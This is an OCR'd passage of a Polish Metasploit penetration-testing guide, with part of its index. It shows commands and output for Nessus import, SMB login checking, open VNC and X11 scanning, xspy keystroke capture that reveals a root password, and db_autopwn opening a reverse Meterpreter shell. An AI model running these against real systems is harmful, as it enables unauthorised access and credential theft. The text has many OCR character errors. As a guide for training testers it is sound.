3. Aby zweryfikowad, czy przeskanowany host oraz dane dotyczace luk
w zabezpieczeniach zostaly zaimportowane poprawnie, zastosuj polecenie
db_hosts, tak jak pokazuje to kolejny listing. Listing ten powinien zawiera¢
zwiezle informacje na temat adresu IP celu (kolumna address), liczby
wykrytych ustug (kolumna svcs) oraz liczby wykrytych przez skaner
Nessus luk w zabezpieczeniach (kolumna vulns).

msf > db_hosts -c address,svcs,vulns

address svcs  vulns

192.168.1.195 18 345

4. Jesli cheesz uzyskaé pelng liste zawierajaca dane dotyczace luk
w zabezpieczeniach, zaimportowane do Metasploit, zastosuj polecenie
db_vulns bez podawania zadnych argumentéw. Przedstawia to ponizszy
listing.

msf > db_vulns

[*] Time: Wed Mar 09 03:40:10 UTC 2011 Vuln: host=192.168.1.195
name=NSS-10916 refs=0SVDB-755

[*] Time: Wed Mar 09 03:40:10 UTC 2011 Vuln: host=192.168.1.195
name=NSS-10915 refs=0SVDB-754

[*] Time: Wed Mar 09 03:40:11 UTC 2011 Vuln: host=192.168.1.195
name=NSS-10913 refs=0SVDB-752

[*] Time: Wed Mar 09 03:40:12 UTC 2011 Vuln: host=192.168.1.195
name=NSS-10114 refs=CVE-1999-0524,0SVDB-94,CWE-200

[*] Time: Wed Mar 09 03:40:13 UTC 2011 Vuln: host=192.168.1.195
name=NSS-11197 refs=CVE-2003-0001,BID-6535

Posiadanie dostepu do tych referencji na koncowym etapie testu penetra-
cyjnego moze by¢ bardzo pomocne w przygotowywaniu raportu dla klienta.

Skanowanie za pomocq Nessusa z poziomu Metasploit

Jesli nie masz ochoty porzucaé wygody korzystania z wiersza polecen na rzecz
interfejsu graficznego, to mozesz skorzysta¢ w Metasploit z wtyczki Nessus
Bridge (http://blog.zate.org/nessus-plugin-dev/) dostarczonej przez Zate. Wtyczka
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Nessus Bridge umozliwia catkowitg kontrole Nessusa z poziomu Metasploit,
uruchamianie skanowania, interpretacje wynikéw oraz uruchamianie atakéw na
podstawie luk w zabezpieczeniach wykrytych przez Nessusa.
1. Podobnie jak w poprzednich przyktadach, usun najpierw istniejaca baze
danych za pomocg polecenia db_destroy i utwérz nowa baze, stosujac
polecenie db_connect.

2. Zataduj wtyczke Nessus, wpisujac polecenie Toad nessus, tak jak zostalo
to pokazane ponize;j.

msf > db_destroy postgres:toor127.0.0.1/msf3
[*] Warning: You will need to enter the password at the prompts below
Password:

msf > db_connect postgres:toor@127.0.0.1/msf3

msf > load nessus

[*] Nessus Bridge for Metasploit 1.1

[+] Type nessus_help for a command 1isting

[+] Exploit Index - (/root/.msf3/nessus_index) - is valid.
[*] Successfully loaded plugin: Nessus

3. Wpisujac polecenie nessus_help, uzyskasz liste wszystkich komend
obstugiwanych przez te wtyczke. Nessus Bridge jest stale rozwijany
i aktualizowany, warto wiec od czasu do czasu sprawdzié, czy zostaly
dodane jakies nowe funkcje.

4. Zanim rozpoczniesz skanowanie za pomocg wtyczki Nessus Bridge,
musisz najpierw uwierzytelni¢ sie na serwerze Nessusa za pomocg
polecenia nessus_connect. Przedstawia to ponizszy listing.

msf > nessus_connect dookie:s3cr3t@192.168.1.101:8834 ok
[*] Connecting to https://192.168.1.101:8834/ as dookie
[*] Authenticated

5. Podobnie jak w przypadku graficznego interfejsu Nessusa, skanowanie
nalezy zainicjowaé z wykorzystaniem zdefiniowanej polityki okreslone;j
numerem ID. Aby wyswietli¢ liste dostepnych na serwerze polityk
skanowania, zastosuj polecenie nessus_policy Tist:

msf > nessus_policy list
[+] Nessus Policy List

ID  Name Comments

-4 Internal Network Scan
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-3 Web App Tests

-2 Prepare for PCI DSS audits
-1  External Network Scan

2 The_Works

. Wybierz ID polityki, ktorg chcesz zastosowa¢ do skanowania, i uruchom

nowe skanowanie za pomoca polecenia nessus_scan_new, podajac numer
polityki, nazwe skanowania oraz docelowy adres IP. Przedstawia to
ponizszy listing.

msf > nessus_scan_new

[*] Usage:
[*] nessus_scan new <policy id> <scan name> <targets>
[*] use nessus_policy 1ist to Tist all available policies

msf > nessus_scan_new 2 bridge_scan 192.168.1.195

[*] Creating scan from policy number 2, called "bridge scan" and scanning
>192.168.1.195

[*] Scan started. uid is d2f1fc02-3b50-4ede-ab8f-
>38b0813dd96abaeab61f312aa8le

. Podczas wykonywania skanowania mozesz sprawdzic¢ jego status

za pomoca polecenia nessus_scan_status. Jesli polecenie zwréci status
No Scans Running (nie jest wykonywane zadne skanowanie), tak jak
pokazuje to kolejny przyktad, to skanowanie zostato zakonczone.

msf > nessus_scan_status
[*] No Scans Running.

. Po zakoficzeniu skanowania mozesz wyswietlié liste dostepnych raportéw

za pomocg polecenia nessus_report_1ist. Znajdz ID raportu, ktéry cheesz
zaimportowad, a nastepnie uzyj polecenia nessus_report_get, aby pobra¢
i automatycznie zaimportowa¢ wybrany raport do bazy danych Metasploit.

msf > nessus_report_list
[+] Nessus Report List

ID

Name Status Date

074dc984-05f1-57b1-f0c9-2bb80ada82fd3758887a05631cld Host 195 completed 19:43

>Mar 08 2011

d2f1fc02-3b50-4ed4e-ab8f-38b0813dd96abaeabb1f312aa8le bridge scan completed 09:37

>Mar 09 2011
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[*] You can:

[*] Get a Tist of hosts from the report: nessus_report hosts <report id>
msf > nessus_report_get d2flfc02-3b50-4ede-ab8f-38b0813dd96abaeab61f312aa8le
[*] importing d2f1fc02-3b50-4ede-ab8f-38b0813dd96abaecab61f312aa8le

[*] 192.168.1.195 Microsoft Windows XP Professional (English) Done!

[+] Done

9. Na koniec, podobnie jak w przypadku pozostatych funkcji importowania
opisanych w tym rozdziale, mozesz zastosowaé polecenie db_hosts, zeby
zweryfikowaé, czy dane dotyczace skanowania zostaly poprawnie
zaimportowane:

msf > db_hosts -c address,svcs,vulns

address svcs  vulns

192.168.1.195 18 345

Teraz, kiedy zapoznales sie juz ze zmiennoscig wynikéw skanowania dwéch
r6znych produktéw, powinienes$ lepiej zrozumieé¢ sens stosowania wiecej niz
jednego narzedzia dla potrzeb skanowania luk w zabezpieczeniach. Weiaz jednak
to od pentestera zalezy interpretacja wynikéw generowanych przez te zauto-
matyzowane narzedzia i przeksztalcenie tych wynikéw w dane decyzyjne.

Wyspecjalizowane skanery luk
w zabezpieczeniach

Chociaz na rynku dostepnych jest wiele komercyjnych skaneréw luk w zabez-
pieczeniach, nie musisz sie do nich ogranicza¢. Jesli chcesz wykonaé¢ skanowa-
nie poprzez sie¢ w poszukiwaniu konkretnych luk w zabezpieczeniach, to mo-
zesz skorzystaé z licznych modutéw pomocniczych Metasploit.

Przedstawione ponizej moduty Metasploit stanowia tylko kilka przyktadéw
sposréd wielu uzytecznych pomocniczych moduléw skanowania zalaczonych
w tym frameworku. Wykorzystaj swoje laboratorium testowe do wyprébowania
i zbadania tak wielu z nich, jak to mozliwe.

Potwierdzanie logowania SMB

Aby sprawdzié¢ poprawnosé kombinacji nazwy uzytkownika i hasta, skorzystaj ze
skanera SMB Login Check Scanner do polaczenia sie z wieloma hostami. Jak
pewnie sie spodziewasz, takie skanowanie jest glosne i zauwazalne, a kazda proba
logowania zostanie zapisana w dzienniku zdarzen kazdej maszyny z systemem
Windows, ktéra zostanie napotkana.
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Po wybraniu modutu smb_1ogin za pomoca polecenia use mozesz zastosowaé
polecenie show_options, aby sprawdzi¢ ustawienia, ktére znajdujg sie w kolumnie
Required. Metasploit pozwala zdefiniowa¢ kombinacje nazwy uzytkownika i hasta,
poda¢ liste nazw uzytkownika i hasel lub tez zastosowaé obie te opcje jednoczesnie.
W kolejnym przyktadzie zdefiniowano niewielki zakres adreséw IP dla opcji
RHOSTS oraz skonfigurowano sprawdzanie okre§lonej nazwy uzytkownika i hasta
dla wszystkich adreséw.

msf > use auxiliary/scanner/smb/smb_login
msf auxiliary(smb_login) > show options

Module options:

Name

PASS FILE
RHOSTS

RPORT
SMBDomain
SMBPass
SMBUser
THREADS
USERPASS FILE

USER _FILE

Current Setting Required Description

445

WORKGROUP
password
Administrator

50

no
yes
yes
no
no
no
yes
no

no

File containing passwords, one per line

The target address range or CIDR identifier
Set the SMB service port

SMB Domain

SMB Password

SMB Username

The number of concurrent threads

File containing users and passwords separated
“>by space, one pair per Tine

File containing usernames, one per line

msf auxiliary(smb_login) > set RHOSTS 192.168.1.150-155
RHOSTS => 192.168.1.170-192.168.1.175
msf auxiliary(smb_login) > set SMBUser Administrator
SMBUser => Administrator

msf auxiliary(smb Togin) > set SMBPass s3cr3t

SMBPass => s3cr3t
msf auxiliary(smb_login) > run

[*]
[*]
[*]
[*]
[*]
[*]
0 [+]
[*]
[*]
[*]
[*]

Kup

Starting host
Starting host
Starting host
Starting host
Starting host
Starting host
192.168.1.155

192.
192.
192.

192

168.1.
168.1.
168.1.

.168.1.
192.
192.

168.1.
168.1.

154
150
152
151
153
155

- SUCCESSFUL LOGIN (Windows 5.1) 'Administrator' : 's3cr3t'
Scanned 4 of 6 hosts (066% complete)
Scanned 5 of 6 hosts (083% complete)
Scanned 6 of 6 hosts (100% complete)
Auxiliary module execution completed
msf auxiliary(smb_login) >

W punkcie @ mozesz zobaczy¢ skuteczne logowanie dla uzytkownika Admi-
nistrator z hastem s3cr3t. Poniewaz w wielu srodowiskach korporacyjnych sta-
cje robocze sg klonowane z jednego obrazu i wdrazane w calej infrastrukturze
przedsiebiorstwa, hasto administratora moze réwniez by¢ takie samo dla kazdej
z nich, co daje Ci dostep do wszystkich stacji roboczych w danej sieci.
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Skanowanie w poszukiwaniu otwartego uwierzytelniania VNC

System przekazywania obrazu zwany VNC (ang. virtual network computing)
umozliwia graficzny dostep do zdalnych system6éw w sposob zblizony do pulpitu
zdalnego Microsoftu. Instalacje VNC sg powszechnie stosowane w korporacjach,
poniewaz zapewniaja podglad interfejsu graficznego pulpitéw serwera i stacji
roboczych. Czesto instaluje sie VNC na potrzebe chwili, a p6Zniej zapomina sie
o tej instalacji, pozostawiajac ja bez aktualizacji, co tworzy powazna potencjalng
luke w zabezpieczeniach. Wbudowany w Metasploit skaner VNC Authentication
None przeszukuje zakres adreséw IP w poszukiwaniu serweréw VNC, ktére nie
posiadaja skonfigurowanego hasta (brak uwierzytelniania, czyli puste hasto). Zazwy-
czaj takie skanowanie nie przynosi zadnych efektéw, jednak dobry pentester wy-
korzystuje wszystkie mozliwosci uzyskania dostepu do systemu docelowego.

UWAGA  Najnowsze serwery VNC nie dopuszczajg stosowania pustych hasel. Dla celéw
testowych powinienes wykorzystac starszq wersje, na przyktad RealVNC 4.1.1.

Skaner VNG, tak jak wiekszo$¢ moduléw pomocniczych Metasploit, jest tatwy
do skonfigurowania i uruchomienia. Jedyna wymagana konfiguracja dla vnc_none_auth
to podanie adresu IP lub zakresu adreséw IE ktére majg by¢ przeskanowane. Po pro-
stu wybierz dany modul, okresl w razie potrzeby opcje RHOSTS oraz THREADS i uru-
chom skanowanie, tak jak pokazuje to kolejny przyklad.

msf > use auxiliary/scanner/vnc/vnc_none auth
msf auxiliary(vnc_none_auth) > show options

Module options:

Name Current Setting Required Description

RHOSTS yes The target address range or CIDR identifier
RPORT 5900 yes The target port

THREADS 1 yes The number of concurrent threads

msf auxih’ar‘y(vnc_none_auth) > set RHOSTS 192.168.1.155
RHOSTS => 192.168.1.155
msf auxiliary(vnc_none auth) > run

[*] 192.168.1.155:5900, VNC server protocol version : RFB 003.008

[*] 192.168.1.155:5900, VNC server security types supported : None

[*] 192.168.1.155:5900, VNC server security types includes None, free access!
[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary(vnc_none_auth) >

Jesli bedziesz miat szcze$cie i Metasploit znajdzie serwer VNC bez uwie-
rzytelniania, taki jak ten w punkcie @, to mozesz skorzysta¢ z narzedzia vncviewer
systemu Back|Track, aby polaczyé¢ sie z docelowa maszyna bez koniecznosci
podawania hasta. Pokazuje to rysunek 4.18.
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TightVNC: V-XPSP2-BARE
b

At

Rysunek 4.18. Zastosowanie narzedzia vncviewer do potgczenia sie z VNC
niewymagajgcym uwierzytelniania

Jesli uwazasz, ze skanowanie VNC moze by¢ strata czasu i nigdy nie znaj-
dziesz systeméw z otwartymi serwerami VNC, to powiniene$ przemysleé to
jeszcze raz. Podczas szeroko zakrojonego testu penetracyjnego obejmujacego
tysigce system6w jeden z autoré6w zauwazyl system z otwartym serwerem VNC.

Bedac zalogowanym do tego systemu i dokumentujac swoje odkrycie, autor
zauwazyl w pewnym momencie aktywno$¢ w tym systemie. Dzialo sie to noca,
a dany system nie powinien byé¢ wtedy wykorzystywany przez zadnego upraw-
nionego uzytkownika. Cho¢ nie jest to z reguly uwazane za dobrg praktyke, au-
tor podszyt sie pod innego nieuprawnionego uzytkownika i zainicjowat rozmowe,
wykorzystujac do tego celu aplikacje Notatnik. Intruz nie byt zbyt bystry i wyjawit
autorowi, ze skanowat duze grupy systeméw pod katem otwartych serweréw VNC.
Oto fragment tej rozmowy (zachowano pisownie oryginalnag):

Autor: Jeste$ teraz w USA czy poza krajem? Mam znajomych w danii.
Intruz: Wlasciwie to jestem z Norwegii, hehe. Mam krewnych w Danii.
Autor: Uczestniczysz w jakichs forach? korzystalem z kilku ale juz nie dzialajg

Intruz: Przewaznie w programistycznych, ale niewiele poza tym. Od dawna
zajmujesz sie hakowaniem? Ile masz lat tak w ogéle? Ja mam 22.

Autor: Robie to dla zabawy tak mmiej wiecej od roku. Chodze jeszcze do
szkoty, mam 16 lat. Po prostu szukalem jakiegos zajecia.

Intruz: Ja tez gtéwnie robie to dla zabawy i prébuje sie sprawdzié. Poza tym
sam napisalem taki program ,VNC finder”. Znalazlem mnéstwo serweréw,
ale tylko ten dostarczyl mi nieco rozrywki

Autor: Niezle. W czym go napisales? Mozna go skads pobra¢? Masz uchwyt pliku?

Intruz: Napisalem go w jezyku, ktéry nazywa sie PureBasic, ale nie jest jeszcze
gotowy do publikacji. Uzywam go tylko na wlasne potrzeby. Ale w sumie moge
go udostepni¢. Mégtbym gdzie§ zamiescié kod, zebys go sobie skompilowal.
Jesli tylko znajdziesz jakis kompilator PureBasica na stronach warezowych :P

Autor: Super. Mozesz go wrzuci¢ przez irc na te strone pastebin. Tak mozesz
posta opublikowaé. Nie robitem wczesniej nic w purebasic, tylko python i perl

Intruz: Poszukam tej strony pastebin i zataduje go, daj mi kilka minut. Odezwe sie.

Intruz podal w koricu autorowi link do strony pastebin z pelnym kodem
zréodtowym skanera VNC, ktérego uzywat.
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Skanowanie w poszukiwaniu otwartych serweréw XI |

Zintegrowany z Metasploit skaner open_x11 jest zblizony do skanera vnc_auth.
Przeszukuje on zakres hostéw w poszukiwaniu serweréw X11, ktére umozli-
wiajg uzytkownikom laczenie sie bez uwierzytelniania. Chociaz serwery X11 nie
sg juz dzisiaj powszechnie wykorzystywane, to znajdzie sie wiele dzialajacych
archaicznych maszyn posiadajacych stare, niezalatane i zapomniane systemy
operacyjne. Jak mogle$§ zauwazyé¢ w poprzednich dwéch przyktadach, starsze
systemy sg czesto najbardziej zagrozone w kazdej sieci.

Aby uruchomié¢ skaner open_x11, musisz wykonaé podobna konfiguracje jak
w przypadku wiekszosci pozostalych moduléw pomocniczych, definiujge wartosé
RHOST oraz opcjonalnie THREADS. Kolejny przyklad ilustruje sesje tego skanera.
Zwr6¢ uwage, ze skaner znalazl otwarty serwer X pod adresem IP 192.168.1.23.
Jest to powazna luka w zabezpieczeniach, poniewaz umozliwia osobie przepro-
wadzajacej atak uzyskanie nieuwierzytelnionego dostepu do danego systemu:
system X obstuguje interfejs graficzny wraz z myszka i klawiatura.

msf > use auxiliary/scanner/x11/open_x11
msf auxiliary(open x11) > show options

Module options:

Name
RHOSTS
RPORT
THREADS

Current Setting Required Description

yes The target address range or CIDR identifier
6000 yes The target port
1 yes The number of concurrent threads

msf auxiliary(open x11) > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24

msf auxiliary(open x11) > set THREADS 50

THREADS => 50

auxiliary(open_x11) > run

msf
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]

Trying
Trying
Trying
Trying
Trying
Open X
Trying
Trying

192.168.1.1

192.168.1.0

192.168.1.2...

192.168.1.29

192.168.1.30

Server @ 192.168.1.23 (The XFree86 Project, Inc)
192.168.1.31

192.168.1.32

. . fragment usuniety . . .
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Trying
Trying
Trying

192.168.1.253
192.168.1.254
192.168.1.255

AuxiTiary module execution completed
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Zeby zobaczy¢, co osoba atakujaca moze zrobi¢ z takg luka w zabezpiecze-
niach, uruchom rejestrowanie klawiatury, wykorzystujac narzedzie xspy systemu
Back | Track. Robi sie to w nastepujacy spos6b:

root@bt:/# cd /pentest/sniffers/xspy/
root@bt:/pentest/sniffers/xspy# ./xspy -display 192.168.1.23:0 -delay 100

ssh root@192.168.1.11(+BackSpace)37
sup3rs3cr3tp4sswird

ifconfig

exit

Narzedzie xspy dzieki zdalnemu podstuchiwaniu sesji klawiatury serwera X
umozliwito przechwycenie uzytkownika wykorzystujacego SSH do zalogowania
sie jako root na zdalnym systemie. Tego typu luki w zabezpieczeniach mogg by¢
dosé rzadkie, jednak jesli juz je odkryjesz, sa niezwykle cenne.

Wykorzystywanie wynikow skanowania
do autopwningu

Przejdzmy teraz na chwile do eksploatacji. Narzedzie Autopwn frameworku
Metasploit automatycznie namierza i eksploatuje system, wykorzystujac otwarte
porty lub zaimportowane wyniki skanowania luk w zabezpieczeniach. Mozesz
zastosowac¢ Autopwn do wykorzystania wynikéw wiekszosci skaneréw luk w za-
bezpieczeniach, takich jak NeXpose, Nessus czy OpenVAS.

Oto przyklad wykorzystania zaimportowanych wynikéw Nessusa do namie-
rzenia i automatycznego przejecia (ang. autopwn) systemu. Utworz nowg baze
danych za pomocg polecenia db_connect, a nastepnie zaimportuj raport ze ska-
nowania, stosujac polecenie db_import. W tym przykladzie uruchomimy
db_autopwn z szeregiem przelacznikéw, aby przeprowadzié¢ ataki na wszystkie
cele (e), pokaza¢ wszystkie pasujace moduly (t), zastosowa¢ tadunek reverse
shell (r), wybra¢ moduly exploitéw na podstawie luk w zabezpieczeniach (x)
oraz na podstawie otwartych portéw (p). Po uruchomieniu db_autopwn Meta-
sploit rozpoczyna odpalanie exploitéw do okreslonych celéw. Jesli dzialanie
exploita przyniesie skutek, to zwracana jest powloka do maszyny atakujace;j.

msf > db_connect postgres:toor@127.0.0.1/msf3
msf > db_import /root/nessus.nbe
msf > db_autopwn —e -t —r -x -p

© [*] (1/72 [0 sessions]): Launching exploit/windows/mssql/ms09 004 sp replwritetovarbin
>against 192.168.33.130:1433...
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[*] (2/72 [0 sessions]): Launching exploit/windows/smb/psexec against
>192.168.33.130:445...

[*]1 (3/72 [0 sessions]): Launching exploit/windows/smb/ms06 040 netapi against
>192.168.33.130:445...

. . fragment usuniety . . .

[*] Transmitting intermediate stager for over-sized stage...(216 bytes)
[*] Sending stage (718336 bytes)

® [*] Meterpreter session 1 opened (192.168.1.101:40912 -> 192.168.1.115:15991)
[*] (72/72 [1 sessions]): Waiting on 2 launched modules to finish execution...
[*] (72/72 [1 sessions]): Waiting on O Taunched modules to finish execution...

Na podstawie tych skanowan Autopwn odpalil 72 exploity w punkcie @.
Jeden z nich okazat sie skuteczny, co wida¢ w punkcie 8. Exploit ten umozliwia
pelny dostep do danej maszyny z wykorzystaniem konsoli Meterpretera, ktéra
zostanie bardziej szczegétowo oméwiona w rozdziale 6.

UWAGA  Istnieje jedno istotne ograniczenie, o ktérym powinienes pamigtad, stosujgc na-
rzedzie Autopwn. Jesli przeprowadzasz zmasowany atak za pomocg Autopwn, to
system docelowy moze ulec awarii lub utracic stabilnosé. Autopwn posiada jed-
nak kilka uzytecznych funkcji, ktore nie zostaly tutaj opisane. Nalezy do nich
mozliwosé wyboru jedynie tych exploitéw, ktore posiadajg ranking ,,doskonaty”,
co znacznie zmniejsza prawdopodobienstwo, Ze spowodujg one awarig zdalnego
systemu lub ustugi. Aby uzyska¢ wiecej informacji na temat wykorzystania tego
narzedzia, uzyj polecenia db_autopwn —h.
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A

access point, 208
administrator przedsiebiorstwa,
28
adres zwrotny, return address,
255, 261
adresy prywatne, 55
aktualizacja systemu
Back| Track, 339
algorytm Blowfish, 207
analiza
luk w zabezpieczeniach, 27
sledcza, 327
anonimowe logowanie, 60
aplet Javy, 187
aplikacja
Ettercap, 223
MailCarrier, 277
NetWin SurgeMail, 251
Quick TFTP, 287
aplikacje podatne na ataki, 336
architektura CPU, 278
armitage, 38
asembler, 40, 272
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atak
brute force, 113, 178
client-side, 151, 163, 209,
222
cross-site scripting, 196
DNS, 45
man-left-in-the-middle, 196
mass mailingowy, 195
na adres e-mail, 185
na fikcyjna strone, 188
na MS SQL Server, 113
na serwer Apache Tomcat,
323
na sterte, 106, 130
pass-the-hash, 132
reczny, 316
spear-phishing, 182
slepy, 219
Web Jacking, 197
wieloaspektowy, 199
wstrzykniecia zapytania, 29
wykorzystujacy
aplet Javy, 181, 187, 203
fanicuch zapytania, 211
parametr POST, 212

przepekienie bufora, 250
teczowe tablice, 121
z pivotingiem, 130
zatrucia ARP, 223
zwiekszajacy uprawnienia,
153
zwracajacy btedy, 219
ataki
SET, 208
socjotechniczne, 208
atakowanie
nietypowych ustug, 326
sieci bezprzewodowych, 236
automatyczna migracja procesu,
161
automatyczne przejecie
systemu, 89
awaria systemu, 90

backdoor, 28

baza danych, 49

bezprzewodowy wektor ataku,
208
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bialy wywiad, 44
biblioteka
oledlg.dll, 288
SHELL32.DLL, 278
user32.dll, 137
biblioteki rdzenia, 240
bind shell, 34
bledny adres zwrotny, 275
btedy formatu plikéw, 163
budowa modutu pomocniczego,
173
bufor Quick TFTP, 287

C

cel ataku, 44

certyfikat SVN, 339

ciagg znakow, string, 246

CVE, Common Vulnerabilities
and Exposures, 74

czynnoSci wstepne, pre-
engagement interactions, 26

debuger Immunity Debugger,
256
debugery, 155, 255
DEP, Data Execution
Prevention, 100
dtugosé bufora, 264
dodatek Railgun, 137
domieszka
Msf::Exploit:: Remote: Tep,
62
Msf::Auxiliary::Scanner, 62
Msf::Exploit::Remote: Tep,
275
Msf::Exploit::Remote: Udp,
285
Msf::Exploit:: Remote::Seh,
285
domieszki, mixins, 62
domieszki Meterpretera, 302
dostarczanie tadunku, 116
dostep do
interfejsu API, 137
maszyny docelowej, 191
Metasploit Framework, 36
plikéw pomocy, 35
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powloki, 233, 289, 324
powloki Meterpretera, 112,
204, 220
przelacznika, 61
serwera MS SQL, 116
systemu, 125, 193
wektora ataku
man-left-in-the-middle, 197
tabnabbing, 196
dzielenie tadunku, 246
dzienniki zdarzen, 329

egg hunter, 258
EIP, extended instruction
pointer, 272
eksploatacja, exploitation, 27,
317
eksploatacja systeméw, 91
eliminowanie zlych znakéw, 267
emulacja klawiatury, 204
ESP, extended starter pointer,
272
exploit, 34
Aurora, 158, 193
Collab.collectEmailInfo, 184
MS08-067, 99
nadpisania rekordu SEH,
283
Quick TFTP Pro 2.1, 283
tomcat_mgr_deploy, 324
exploity
AdobePDF, 181
przegladarek, browser-
based exploits, 152
typu client-side, 151, 192

F

falszywy
punkt dostepu, 208, 227, 232
serwer pocztowy, 233
Fast-Track, 209-225
faza
eksploatacji, 317
poeksploatacyjna, 28, 319
fazy PTES, 26
fikeyjny kod powltoki, 277

fingerprinting, 30

Fu, 347

funkcja
event_manager, 328
generate_seh_payload, 288
Kontroli Konta

Uzytkownika, 309
load auto_add_route, 318
payload.encoded, 281
powershell_upload_exec,
245

PUT HTTP, 324
RATTE, 207
szyfrowania, 61
timestomp, 328
tworzenia tadunku, 298

fuzz string, 253

fuzz testing, 251

fuzzery Wi-Fi, 169

fuzzing, 252

fuzzowanie aplikacji, 251

G

generator zmiany formatu, 222
generowanie
kodu powloki, 39
nazwy pliku, 246
gniazdo, socket, 286
GUI, 38

hasta community string, 61

heap spraying, 153

HID, human interface device,
204

ICMP, Internet Control
Message Protocol, 47
IDE, Integrated Drive
Electronics, 206
identyfikacja zlosliwego kodu,
139
identyfikator
adresu IP, 45, 51
procesu PID, 294, 299
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IDS, intrusion detection
systems, 40
iframe injection, 193
IMAP, Internet Message Access
Protocol, 252
implementowanie funkcji
Metasploit Framework, 278
importowanie
exploitéw, 271, 274
exploita SEH, 289
raportu, 73, 80
informacje o
ladowaniu, 233
ruchu sieciowym, 133
sieci, 45
systemie, 133
instalacja Windows XP, 333
instrukcja
NOP, 154, 272
NOP slide, 272
POP, 283
rand_text_alpha_upper, 280
RENT, 283
instrukcje
asemblera, 156
powloki wigzanej, 157
interaktywna powloka, 207
interfejs
API Meterpretera, 300
Arduino, 206
armitage, 38
at0, 230
graficzny uzytkownika, 38
IDE, 206
msfcli, 36
wiersza polecen, 36
interfejsy Metasploit, 35
1P spoofing, 51
IPS, intrusion prevention
systems, 152

]

jawne testy penetracyjne, 29
JDK, Java Development Kit,
181
jezyk
Pearl, 21
PowerShell, 242
Ruby, 21, 309
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KARMA, 227
Karmetasploit, 227-236
karta bezprzewodowa, 229
keystroke logging, 118
klasa auxiliary, 174
klonowanie strony, 192, 197
klucz
HKEY_CURRENT_USER,
133
klucze rejestru, 134
kod
powloki, shellcode, 34, 39,
155, 276
wlasnego modutu, 281
koder Power PC, 142
kodery, 40
kodowanie
ladunku, 149
ladunku MSF, 143
polecen, 247
polimorficzne, 144
shikata_ga nai, 144
kody operacji, opcodes, 40
kolejnos¢ bajtéw, 262, 278
komenda, Patrz polecenie
komponent
airbase-ng, 230
UAC, 309
kompresor UPX, 149
kompresowanie ztosliwych
plikéw, 150
komunikat btedu, 245, 316
konfiguracja
adresu IP, 335
Karmetasploit, 228, 231
Nessus, 76
polityka skanowania, 77
raporty, 80
NeXpose, 68-72
raporty, 71
skanowanie reczne, 70
srodowisko, site, 68
pakietu SET, 180
punktu dostepowego, 230
serwera SQL, 334
serwera WWW, 333
urzadzenia Teensy, 207
konfigurowanie definicji
exploita, 276

konsola MSFconsole, 35
konto

sa, 114, 238

z ograniczonymi

uprawnieniami, 309
kontrolowanie SEH, 256, 258
konwertowanie plikéw
binarnych, 238

L

liczba
luk, 74
watkéw, 57
liczniki, counters, 247
link do strony sklonowanej, 198
lista
dostepnych atakéw, 216
uruchomionych proceséw,
294
luka
Adobe Flash zero-day, 152
Collab.collectEmailInfo, 184
MS08-067, 56, 93
typu zero-day, 192
w WebDAYV, 172
luki w zabezpieczeniach, 66

L

tadunek, payload, 34
binarny, 140
binarny MSF, 237
odwréconego Meterpretera,

193
odwrécony, 96, 106, 164
payload.exe, 123
payload3.exe, 149
pelnego tunelowania, 207
powloki polecen, 135
reverse_tcp, 102
sprawdzajacy porty, 106
wielokrotnie zakodowany,
145

lanicuch URL, 211

Iaczenie sie
bez uwierzytelniania, 88
z baza, 49
z VNG, 87
ze zdalnym hostem, 62
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maszyny wirtualne, 313, 332

menedzer zabezpieczen kont, 121

menu
Fast-Track, 210
SET, 184
Metasploit Express, 21, 41
Metasploit Pro, 21, 41
Metasploitable, 313
Meterpreter, 102, 111
metoda send_request_cgi, 175
migracja procesu, 132, 235
modelowanie zagrozer, threat
modeling, 27, 315
modul, module, 34
Aurora, 159
dns_enum, 169
energizer_duo_detect, 169
enumeracji DNS, 169
ftp_version, 59
hashdump, 120
ipidseq, 51
keylog_recorder, 119
migrate, 132
mssql_exec, 239
mssql_login, 114, 115
mssql_payload, 117
mssql_ping, 58, 114
mssql_powershell, 237
multi/handler, 141
portscan syn, 55
smb_login, 85
smb_version, 56
snmp_enum, 60
snmp_login, 61
ssh_version, 58
webdav_scanner, 169
wewnetrzny serwera, 316
zbierania informacji, 188
moduly
fazy poeksploatacyjnej, 135
pomocnicze, 167-178
modyfikowanie exploita, 274
MSF, Metasploit Framework,
33, 347
MSFcli, 36
MSFconsole, 35
MSFencode, 40, 142
MSFpayload, 39
MySOL, 49
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nadpisanie SEH, 257, 283, 286

narzedzia
Metasploit, 38
socjotechniczne, 179
zautomatyzowane, 225
narzedzie
Autopwn, 89, 210
Burp Suite, 316
DistCC, 326
do lamania hasel, 121
event_manager, 329
Fast-Track, 115, 209, 317,
336
incognito, 126
Interactive Shell, 207
Metasploit, 316
Meterpreter, 102
msfencode, 142, 146
msfpayload, 140
msfvenom, 150, 348
MSSQL Bruter, 215
MSSQL Injector, 211
nasm_shell.rb, 40
netcraft, 45
nmap, 47, 99, 112
nslookup, 46
Social-Engineer Toolkit,
336
SQL Injector, 211
SQLPwnage, 219, 318
vneviewer, 86
Web-GUI, 208
Wireshark, 133
xspy, 89
nastuchiwacz, listener, 34, 318
multi-handler, 164
odwréconego Meterpretera,
190
nastuchiwanie potaczen
odwréconych, 141
Nasm Shell, 40
NAT, Network Address
Translation, 55
Ninja, 347
NOP slide, 153
NOP, no-operation instruction,
153
notacja CIDR, 53
NSEH, Next SE Handler, 286

o

obstuga
bted6w, 176
nastuchiwania, 146
polaczen, 297
routingu, 130
watkéw, 255
WebDAYV, 172
wyjatkéw, 283
znakéw CRLF, 246
odcisk palca, fingerprint, 59, 65
odmowa $wiadczenia ustug, 253
ograniczenia SEH, 258
ograniczenie wykonywania
plikow, 247
okno konfiguracji polityki
skanowania, 77
opcja
allports, 108
AUTO_DETECT, 181
Follow address in stack, 256
Java Repeater, 203
LHOST, 122
LPORT, 102
Mass Email Attack, 184
RHOST, 122
RHOSTS, 52
SRVHOST, 160
opcja
THREADS, 52
View/SEH chain, 256
opcje
exploita, 37
msfencode, 142
nmap, 47
skanowania ipidseq, 51
OSINT, open source
intelligence, 44
ostrzezenie o
niebezpieczenstwie, 203
otwarte porty, 54
otwieranie powloki, 147

P

pakiet
Aircrack-ng, 230
JDK, 181
KARMA, 227
SET, 179-208
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password cracker, 121 db_hosts, 50, 57, 75 run get_local_subnets, 128

pasywne zbieranie informacji, db_import, 50, 73, 89 run hashdump, 132
46 db_nmap, 53 run screen_unlock, 131

